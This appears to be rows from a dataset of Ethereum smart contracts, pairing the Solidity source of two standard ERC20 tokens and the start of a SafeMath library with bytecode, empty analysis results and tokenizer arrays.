* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
| 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22203,
27531,
2050,
2475,
7875,
2692,
2497,
2094,
12740,
2549,
4215,
2278,
2549,
2094,
17134,
10322,
2683,
2683,
22025,
2546,
2620,
27531,
2575,
2683,
2620,
2509,
10322,
2546,
2683,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
19204,
2038,
2042,
7013,
2005,
2489,
2478,
16770,
1024,
1013,
1013,
6819,
9284,
22311,
27108,
2072,
1012,
21025,
2705,
12083,
1012,
22834,
1013,
9413,
2278,
11387,
1011,
13103,
1013,
1008,
1008,
3602,
1024,
1000,
3206,
3120,
3642,
20119,
1006,
2714,
2674,
1007,
1000,
2965,
2008,
2023,
19204,
2003,
2714,
2000,
2060,
19204,
2015,
7333,
1008,
2478,
1996,
2168,
13103,
1012,
2009,
2003,
2025,
2019,
3277,
1012,
2009,
2965,
2008,
2017,
2180,
1005,
1056,
2342,
2000,
20410,
2115,
3120,
3642,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,405 | 0x9519A9436B151d40F04838bA302b6EeC139875d7 | pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract ICTBSCOLTD is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "ICTBS CO LTD";
symbol = "TBS";
decimals = 18;
_totalSupply = 10000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | 0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a72305820477150f0b1de01da96c2a8c398b190a2dbed1d4f883f417c25e2cfdb7fc712420029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22203,
2683,
2050,
2683,
23777,
2575,
2497,
16068,
2487,
2094,
12740,
2546,
2692,
18139,
22025,
3676,
14142,
2475,
2497,
2575,
4402,
2278,
17134,
2683,
2620,
23352,
2094,
2581,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
9413,
2278,
19204,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,406 | 0x951a2a90a2384ae86c1ed822e468c35912ce0721 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
